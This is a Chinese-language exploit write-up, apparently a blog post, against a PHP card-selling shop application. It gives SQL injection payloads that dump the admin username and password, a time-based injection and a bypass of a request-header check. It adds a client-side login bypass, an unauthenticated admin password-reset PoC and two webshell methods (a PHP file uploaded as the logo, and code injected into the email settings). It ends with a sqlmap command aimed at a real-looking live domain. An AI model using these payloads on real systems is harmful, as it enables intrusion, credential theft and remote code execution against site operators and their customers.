SQL注入

低版本可直接注入

漏洞文件

/ajax.php

payload:

Post

/ajax.php?act=selgo

爆账号

tyid=1 union all select 1,2,ayangw_v,4,5,6,7 from ayangw_config where ayangw_k='admin'

爆密码

tyid=1 union all select 1,2,ayangw_v,4,5,6,7 from ayangw_config where ayangw_k='pwd'

一处延时注入

/other/submit.php?type=alipay&gid=1+and+or+union+select+sleep

Tips:高版本加入了请求头验证

1
2
3
4
5
6
7
8
9
10
11
12
@header('Content-Type: application/json; charset=UTF-8');

if ($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') {

} else {
exit( "页面非法请求!");
}
if(empty($_GET['act'])){
exit("非法访问!");
}else{
$act=$_GET['act'];
}

绕过方法

请求头部加上 x-requested-with: XMLHttpRequest 即可绕过

登录绕过

login.php 加载 layer/layer.js 典型的前端验证

response 数据包的返回 code 值 0改为1 放包即可绕过登录

管理密码重置

/admin/ajax.php 没有效验登录状态,导致可以修改管理密码。

Poc

1
2
3
post /admin/ajax.php?act=upAdmin

u=admin&p=f3b4e3b975e0484835e90514f8318e61 (123456)

后台Getshell

Getshell 1

后台修改Logo处直接上传php文件

直接访问 /assets/imgs/logo.php 即可

Getshell 2

修改Email处插马

直接在邮件标题处插入 ');phpinfo();array('a’=>'

访问 emailconfig.php 即可

未完待续 我发现还有几处注入待复现再发…

还是两个注入

这个发卡网上什么版本都有 不能说通用 自己测试

SQL1

/other/easypay_notify.php 文件

先POST传值$status=1然后构造一下$orderid变量。

status=1&orderid=1’ or 1=1%23

SQL2

还是 ajax.php 文件

sqlmap -u "https://www.pubg-qq.com/ajax.php?act=create" --data "number=1&rel=1&out_trade_no=1*&gid=3&money=1&type=wx"

sqlmap一把唆